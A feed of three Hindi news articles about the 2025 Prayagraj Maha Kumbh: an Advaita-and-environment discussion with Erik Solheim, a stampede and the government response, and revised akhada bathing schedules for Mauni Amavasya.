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“भविष्य के लिए अद्वैत”- प्रयागराज महाकुंभ में वैश्विक विमर्श https://pratyushaashakinayikiran.com/?p=126914 Thu, 30 Jan 2025 11:36:00 +0000 https://pratyushaashakinayikiran.com/?p=126914 भोपाल

प्रयागराज. दुनिया का सबसे बड़ा आध्यात्मिक समागम प्रयागराज महाकुंभ ऐतिहासिक चर्चा का गवाह बना। आचार्य शंकर सांस्कृतिक एकता न्यास,संस्कृति विभाग मप्र शासन की ओर से एकात्म धाम मंडपम् में 'अद्वैत कैसे प्रकृति संरक्षण में अहम घटक है' पर आधारित "भविष्य के लिए अद्वैत"

विषय पर चर्चा हुई। प्रसिद्ध पर्यावरणविद और संयुक्त राष्ट्र पर्यावरण कार्यक्रम (UNEP) के पूर्व कार्यकारी निदेशक,नार्वे के पूर्व मंत्री एरिक सोहेम मुख्य वक्तk रहे।

जवाहर लाल नेहरू विश्वविद्यालय के प्रोफेसर रामनाथ झा ने कहा कि वर्तमान पर्यावरणीय और सामाजिक परिदृश्य में अद्वैत केवल एक दार्शनिक मत नहीं, बल्कि एक समग्र दृष्टिकोण है, जो संपूर्ण ब्रह्मांड की एकता को स्वीकार करता है। इस सत्र में, अद्वैत वेदांत के सार्व-भौमिक तत्वों को आधुनिक विज्ञान, पारिस्थितिकी और वैश्विक चुनौतियों से जोड़ा गया।

अद्वैत वेदांत और पर्यावरण—एक नया दृष्टिकोण

एरिक सोहेम ने कहा कि मैंने ऐसा दृश्य पहले कभी नहीं देखा।यह अब तक का सबसे बड़ा आध्यात्मिक आयोजन है।आदि शंकराचार्य ने भारत को शस्त्रों से नहीं, बल्कि अपने अद्वितीय बुद्धिबल से विजय किया। भारत में पशुओं और मनुष्यों के बीच एक अनुपम समरसता विद्यमान है। भगवान गणेश का गजमुख और भगवान हनुमान का वानर शरीर इस समरसता का द्योतक है।

वेदांत के मूल सिद्धांतों को आधुनिक संदर्भ में रखते हुए, एरिक सोहेम ने एक अत्यंत प्रासंगिक दृष्टिकोण प्रस्तुत किया। उन्होंने उपनिषदों के उन पाँच महत्त्वपूर्ण सिद्धांतों का उल्लेख किया जो अस्तित्व की रचना, उसका पालन, संहार, तथा सर्वोच्च चेतना की सर्वव्यापकता को स्पष्ट करते हैं। इन सिद्धांतों के अनुसार, संपूर्ण सृष्टि शक्ति और चेतना का ही विस्तार है।

अद्वैत और वैश्विक चेतना

एरिक सोहेम ने बताया कि आधुनिक पश्चिमी दर्शन और विज्ञान की दृष्टि प्रकृति को एक निष्क्रिय संसाधन मानती रही है, जिसका शोषण किया जा सकता है। जबकि भारतीय परंपरा में प्रकृति को "माँ" के रूप में देखा जाता है। उन्होंने "डीप इकोलॉजी" के विचार को अद्वैत से जोड़ते हुए बताया कि संपूर्ण ब्रह्मांड परस्पर जुड़ा हुआ है, और यह दृष्टिकोण ही हमारे सतत विकास की कुंजी हो सकता है।

विमर्श में यह स्पष्ट हुआ कि अद्वैत वेदांत न केवल आध्यात्मिक उन्नति का मार्ग है, बल्कि यह मानवता के सतत अस्तित्व के लिए भी अनिवार्य है। एरिक सोहेम और अन्य विशेषज्ञों के विचारों ने इस बात को बल दिया कि यदि हमें पृथ्वी को बचाना है, तो हमें अद्वैत के सिद्धांतों को जीवन में अपनाना होगा। अद्वैत वेदांत केवल दर्शन नहीं, बल्कि जीवन का वह सत्य है, जो हमें सिखाता है कि "हम और प्रकृति अलग नहीं, बल्कि एक ही चेतना के विभिन्न रूप है।

मनुष्य, मानवता और प्रकृति में एकात्मता हैं।हम केवल प्रकृति के साथ सामंजस्य में रहकर ही जीवित रह सकते हैं।

सनातन धर्म में प्रकृति के प्रति अपार सम्मान हैं, हम वर्तमान में गंगा, यमुना व सरस्वती के पवित्र संगम की भूमि पर उपस्थित हैं।

एरिक ने महाकुम्भ के अवसर पर संगम में स्नान करते हुए महाकुम्भ को अविस्मरणीय बताया।

 

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महाकुंभ में भगदड़, 10 मौतें, राहत-बचाव पर PM मोदी ने 3 बार की CM योगी से बात, लखनऊ में हाई लेवल मीटिंग https://pratyushaashakinayikiran.com/?p=126643 Wed, 29 Jan 2025 11:06:00 +0000 https://pratyushaashakinayikiran.com/?p=126643 प्रयागराज
महाकुंभ मेला में भगदड़ को लेकर लखनऊ में हलचल बढ़ गई है। यूपी के डीजीपी प्रशांत कुमार और एडीजी लॉ एंड ऑर्डर अमिताभ यश आनन-फानन में सीएम योगी आदित्यनाथ के आवास पर पहुंचे हैं। हादसे के बाद मुख्यमंत्री आवास पर 5 केडी में बड़ी बैठक चल रही है। बैठक में DGP प्रशांत कुमार, ADG एलओ अमिताभ यश और प्रमुख सचिव गृह संजय प्रसाद भी मौजूद हैं। CM योगी अधिकारियों से जानकारी ले रहे हैं और महाकुंभ में हेलीकॉप्टर से लगातार निगरानी रखी जा रही है।
सीएम योगी आदित्यनाथ ने श्रद्धालुओं से अपील की है कि जो श्रद्धालु जिस घाट के समीप है, वहीं स्नान करे, संगम नोज की ओर जाने का प्रयास न करें। स्नान के लिए कई स्नान घाट बनाए गए हैं। कहीं भी स्नान किया जा सकता है. प्रशासन के निर्देशन का अनुपालन करें। व्यवस्था बनाने में सहयोग करें। किसी भी अफवाह पर ध्यान ना दें।

भगदड़ पर लगातार सीएम योगी ले रहे अपडेट
महाकुंभ में भगदड़ की सूचना मिलते ही सीएम योगी आदित्यनाथ ने अधिकारियों को फोन मिलाना शुरू कर दिया। CM योगी अधिकारियों से स्थिति का लगातार जायजा ले रहे हैं। आगे स्नान सुचारू रूप से होता रहे और पीड़ितों को हर संभव सहायता मिले, इसके लिए वह अधिकारियों को जरूरी निर्देश दे रहे हैं।

भीड़ की वजह से लोगों की सांसें फुलने लगीं
महाकुंभ में संगम तट पर रात करीब 1:30 बजे भारी भीड़ जुट गई। भीड़ की वजह से लोगों की सांसें फुलने लगीं। इसके बाद बैरिकेटिंग टूटने से भगदड़ की स्थिति उत्पन्न हो गई। इससे 50 से ज्यादा श्रद्धालु घायल हो गए। पुलिस ने सभी घायलों को रेस्क्यू कर 50 से ज्यादा एंबुलेंस की मदद से अस्पताल में भर्ती कराया। इन श्रद्धालुओं की हालत गंभीर थी। उन्हें प्रयागराज के स्वरूप रानी नेहरू अस्पताल में भर्ती कराया गया है।

फैसला हुआ है कि 11 बजे के बाद अखाड़े शाही स्नान के लिए पहुंचने लगेंगे। सीएम योगी से भी संतों की बातचीत हुई है। सीएम योगी ने इस बारे में कहा कि आचार्य महामंडलेश्वरों से बातचीत की है। उनका कहना है कि पहले श्रद्धालुजन स्नान करेंगे और उसके बाद हम लोग स्नान करने के लिए संगम की ओर जाएंगे।

रविंद्र गिरि ने कहा कि सुबह के समय करोड़ों की संख्या में श्रद्धालु घाट पर था। अब ऐसा लग रहा है कि संख्या कम हो रही है। हम साधु संतों के घाट भी खाली कराए जा रहे हैं। कहा कि सुबह के समय ऐसा प्रचार किया गया था कि यहां पर कयामत आ गई हो। ऐसा प्रचार किया गया था जिससे हमारे सनातन के विरोधियों को मौका मिला था। वह चाहते थे कि गलत मैसेज जाए। जब हम लोगों ने जानकारी ली और पूरी सच्चाई सामने आई तो शाही स्नान का फैसला लिया गया है।

रविंद्र गिरी ने कहा कि अफवाहों पर ध्यान न दें। हादसे को बढ़ा चढ़ाकर पेश किया गया है। हमारी मेला प्रशासन से बातचीत हुई है। कहा गया है कि जो हो गया सो हो गया। ऐसे में हमारी स्नान होना चाहिए। कोशिश हो रही है कि कुछ घंटे में हम स्नान करेंगे। कहा कि जब हम लोग स्नान करने निकलते हैं तो श्रद्धालु नागा साधुओं को देखना चाहते हैं। हमारी झांकी को देखना चाहते हैं। इतने ज्यादा लोग आ गए कि हमारे घाट भर गए। इसलिए स्नान को स्थगित किया गया। अब हम लोग स्नान में जाएंगे।

रविंद्र गिरी ने इसके साथ ही श्रद्धालुओं से अपील की कि आप जहां भी हैं वहीं पर स्नान कर लें। संगम आकर ही स्नान करने की कोशिश न करें। आप जहां भी हों वहीं पर डुबकी लगाकर पुण्य के भागी बन जाएंगे। मेलाधिकारी विजय किरण आनंद ने अखाड़ों के संतों से बातचीत में बताया कि लगातार स्थितियां ठीक हो रही हैं। अगले एक घंटे में स्थितियां और ठीक हो जाएंगी। इसके बाद दस बजे से शाही स्नान शुरू हो सकता है।

इस बीच प्रशासन ने स्नानार्थियों का नया डेटा जारी किया है। इसमें बताया कि मंगलवार की सुबह आठ बजे तक दस लाख से ज्यादा कल्पवासी संगम तट पर मौजूद थे। सुबह आठ बजे तक ही 2.78 करोड़ से ज्यादा लोगों ने स्नान किया था। इसके साथ ही 13 से 28 जनवरी तक 19.94 करोड़ लोग स्नान कर चुके हैं।

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4 बजे शुरू हो जाएगा मौनी अमावस्‍या पर सुबह अखाड़ों का अमृत स्‍नान, भीड़ के चलते बदली टाइमिंग https://pratyushaashakinayikiran.com/?p=126334 Tue, 28 Jan 2025 14:06:00 +0000 https://pratyushaashakinayikiran.com/?p=126334 प्रयागराज
 महाकुंभ में बुधवार को मौनी अमावस्‍या के मौके पर सबसे बड़ा अमृत स्‍नान होना है। प्रशासन ने महाकुंभ नगर में आठ से 10 करोड़ श्रद्धालुओं के आने का अनुमान जताया है। भीड़ को ध्‍यान में रखते हुए प्रशासन ने अखाड़ों के स्‍नान के समय में बदलाव किया है। इस बार सुबह चार बजे से ही शिविर निकलना शुरू हो जाएगा। इससे पहले मकर संक्रांति पर स्‍नान सुबह छह बजकर 15 मिनट पर शुरू हुआ था। सवा पांच बजे से शिविर निकलने की शुरुआत हुई थी।

मौनी अमावस्‍था के मौके पर अखाड़ा सुबह चार बजे से शिविर से निकलेगा और सुबह 5 बजकर 40 मिनट तक स्‍नान पूरा कर लेगा। इस बार दिगंबर अखाड़ों में स्‍नान का क्रम भी बदला है। इस बार निर्वाणि अनि को सबसे पहले और निर्मोही अनि को सबसे बाद में स्‍नान के लिए वक्‍त दिया गया है। दोपहर तीन बजे तक अखाड़ों का स्‍नान पूरा हो जाएगा। इसका सीधा लाभ आम श्रद्धालुओं को मिलेगा।

लगातार प्रयागराज पहुंच रही श्रद्धालुओं की भीड़

मौनी अमावस्या स्नान से पहले श्रद्धालु अलग-अलग राज्यों से प्रयागराज रेलवे स्टेशन पर पहुंच रहे हैं। श्रद्धालुओं की भीड़ को देखते हुए प्लेटफार्मों और प्रवेश द्वार पर रेलवे प्रशासन की ओर से सुरक्षा के पुख्ता इंतजाम किए गए हैं। इतना ही नहीं, प्रशासन द्वारा तीसरे अमृत को देखते हुए भीड़ को संभालने के लिए यातायात व्यवस्था को भी चाक-चौबंद किया गया है। महाकुंभ में जाने वाले रास्तों पर स्थानीय पुलिस का पहरा है, जबकि रेलवे स्टेशन पर रेलवे सुरक्षा बल द्वारा पैनी नजर रखी जा रही है।

मेला क्षेत्र को नो व्‍हीकल क्षेत्र घोषित किया गया

मेला प्रशासन और कुंभ पुलिस ने अमृत स्नान पर्व को देखते हुए व्यापक तैयारियां की हैं। पूरे मेला क्षेत्र को नो व्हीकल जोन घोषित किया गया है। संगम तटों पर बैरिकेडिंग का कार्य तेजी से पूरा किया जा रहा है, ताकि भीड़ नियंत्रण में रहे। श्रद्धालुओं की आवाजाही के लिए हर सेक्टर और जोन में विशेष व्यवस्था की गई है। इस दौरान किसी भी तरह का प्रोटोकॉल लागू नहीं होगा।

ऐसे में व्यवस्थाओं को लागू करने के लिए तमाम बदलाव किए जा रहे हैं। इसमें जोनल प्लान, सुरक्षा व्यवस्था को लागू करने से लेकर तमाम बदलाव होंगे। इसी में एक है अखाड़ों के स्नान के समय में बदलाव। मकर संक्रांति पर महानिर्वाणी और अटल अखाड़ा सुबह 5:15 बजे शिविर से निकला था। वहीं इस बार अखाड़ा सुबह चार बजे ही शिविर से निकलेगा और सुबह 5:40 बजे तक स्नान पूरा कर लेगा।

निर्वाणी अनि और निर्मोही अनि अखाड़ों के स्नान क्रम बदले

इस बार दिगंबर अखाड़ों में स्नान का क्रम भी बदला है। मकर संक्रांति पर निर्मोही अखाड़ा दिसंबर अखाड़ों में पहले स्नान को पहुंचा था और निर्वाणी अनि अखाड़ा सबसे बाद में आया था। इस बार निर्वाणी अनि को सबसे हपले और निर्मोही अनि को सबसे बाद में स्नान के लिए वक्त दिया गया है।

तीन बजे तक अखाड़ों का होगा स्नान

दोपहर तीन बजे तक अखाड़ों का स्नान पूरा हो जाएगा। इसका सीधा लाभ आम श्रद्धालुओं को होगा। उन्हें भी संगम स्नान का अवसर मिलेगा।

अमृत स्नान की समय सारिणी

महानिर्वाणी व अटल 4:00 बजे 5:00 बजे 40 मिनट 5:40 6:40

निरंजनी व आनंद 4:50 बजे 5:50 बजे 40 मिनट 6:30 7:45

जूना, आहवान और अग्नि 5:45 बजे 6:45 बजे 40 मिनट 7:25 8:30

निर्वाणी अनि 08:25 बजे 9.25 बजे 30 मिनट 9:55 10:55

दिगंबर अनि 9:05 बजे 10.05 बजे 50 मिनट 10:55 11:55

निर्मोही अनि 10:05 बजे 11.05 बजे 30 मिनट 11:35 12:35

नया उदासीन 11:00 बजे 12:00 बजे 55 मिनट 12:55 13:55

बड़ा उदासीन 12:05 बजे 13.05 बजे 60 मिनट 14:05 15:05

निर्मल 01:25 बजे 02:25 बजे 40 मिनट 05:05 03:55

दो दिन में तीन करोड़ से ज्यादा ने किया स्नान

महाकुम्भ के मुख्य स्नान पर्व मौनी अमावस्या से दो दिन पहले ही लाखों आस्थावान संगम में डुबकी लगाने को उमड़ पड़े। मौनी अमावस्या के अमृत स्नान से पूर्व दो दिनों (रविवार और सोमवार) को तीन करोड़ से ज्यादा श्रद्धालुओं ने संगम और उससे सटे गंगा के घाटों पर स्नान कर एक नया रिकॉर्ड बनाया है। रविवार को गणतंत्र दिवस पर जहां 1.74 करोड़ श्रद्धालुओं ने स्नान किया था तो वहीं सोमवार को रात आठ बजे तक 1.55 करोड़ श्रद्धालु पावन डुबकी लगा चुके थे। इसमें दस लाख कल्पवासी भी शामिल हैं। रविवार तक 13.21 करोड़ श्रद्धालु स्नान कर चुके थे। इसमें सोमवार के आंकड़े जोड़ दें तो अब तक स्नान करने वालों की संख्या 14.76 करोड़ के पार पहुंच चुकी है।

प्रदेश सरकार ने मौनी अमावस्या पर दस करोड़ और पूरे महाकुम्भ के दौरान 45 करोड़ से ज्यादा श्रद्धालुओं के आने का अनुमान लगाया है। सोमवार सुबह आठ बजे तक 46.64 लाख, दस बजे तक 53.29 लाख, 12 बजे तक 60.19 लाख, दो बजे तक 81.16 लाख, चार बजे तक 91.15 लाख, छह बजे तक 1.18 करोड़ श्रद्धालुओं ने स्नान किया था।

पूरे दिन के आंकड़ें पर नजर दौड़ाएं तो हर घंटे औसतन पांच लाख लोगों ने संगम और महाकुम्भ क्षेत्र में बने 12 किलोमीटर लंबे घाट में पुण्य की डुबकी लगाई। चारों दिशाओं से श्रद्धालुओं के आने का सिलसिला बना हुआ है। सड़कों पर जितनी दूर तक नजर जा रही है सिर ही सिर दिखाई पड़ रहे हैं। मेला क्षेत्र के चारों ओर सात से 12 किमी दूर चार पहिया गाड़ियों को रोक दिया जा रहा है। पार्किंग में गाड़ियां खड़ी करने के बाद लोग पैदल ही संगम की ओर बढ़े आ रहे हैं।

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